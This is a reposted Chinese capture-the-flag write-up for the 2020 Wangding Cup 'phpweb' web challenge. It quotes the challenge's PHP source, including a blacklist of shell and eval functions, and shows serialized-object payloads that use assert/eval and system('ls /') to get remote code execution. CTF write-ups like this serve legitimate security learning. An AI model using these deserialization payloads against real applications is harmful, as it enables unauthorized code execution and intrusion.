复习[网鼎杯 2020 朱雀组]phpweb --- 命名空间绕过黑名单

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了复习[网鼎杯 2020 朱雀组]phpweb --- 命名空间绕过黑名单相关的知识,希望对你有一定的参考价值。

两个WP
https://www.anquanke.com/post/id/205679
https://www.freesion.com/article/6379840490/

一、自己做:


上来就有报错信息,并且页面不断的刷新。
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24 2021-05-16 12:36:22 am

抓包,看到它有传参,而且参数是 func ,想到了回调函数,前面是函数,后面是执行的命令。


然后回头看了一下PHP版本,是5.5.38,这个时候assert还是支持动态函数的。所以能用。assert不让用,,

在这里插入图片描述
assert不行,那怎样 用 动态函数获取flag 啊,,

然后偷看了一眼WP,这就是命令执行嘛,前面一个是命令,后面是参数。
然后尝试show_source来读取文件,看看源码是什么,,这个也别过滤了。。
然后是 readfile,file_get_contents,都行。

只拿下来PHP的那一块。

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

不是黑名单,就执行call_user_func,但是结果必须是 string 类型的。

正常运行的话,那个test类没有用上,并且还有__dexstruct这个危险函数,那就想到了用反序列化来,反序列化出test类,然后恶意构造test类的两个参数,
然后destruct,,也是用的是call_user_func,然后就执行命令 了。

这是生成payload的那一部分,过程中会报错。但是也会输出我们的序列化字符串。

$func = new Test();
$p = 1;
$func->func='assert';
$func->p='eval($_POST[_]);';
echo(serialize($func));
O:4:"Test":2:{s:1:"p";s:16:"eval($_POST[_]);";s:4:"func";s:6:"assert";}

在这里插入图片描述然后就能够RCE了、

在这里插入图片描述
最后在/tmp/flagoefiu4r93中找到了flag
在这里插入图片描述

二、学到的,不足:

1. 明明空间绕过黑名单

三、看WP

wp是直接把命令写到了test类的两个参数中,我是写了一个动态执行函数。

这个是别人的WP的,

$func = new Test();
$p = 1;
$func->func='system';
$func->p='ls /';
echo(serialize($func));

这样经过test的destruct,然后再到call_user_func中,直接就是system(ls /)
而我的那个是assert(eval($_POST[_]))
当时第一反应是动态函数,然后我菜的很,就知道RCE中assert是个动态函数,其他的不清楚。。

还有个命名空间绕过的。。。好秀啊,大佬们太秀了。

在这里插入图片描述
在这里插入图片描述

以上是关于复习[网鼎杯 2020 朱雀组]phpweb --- 命名空间绕过黑名单的主要内容,如果未能解决你的问题,请参考以下文章

buuctf [网鼎杯 2020 朱雀组]phpweb

BUU-WEB-[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

[网鼎杯 2020 朱雀组]Nmap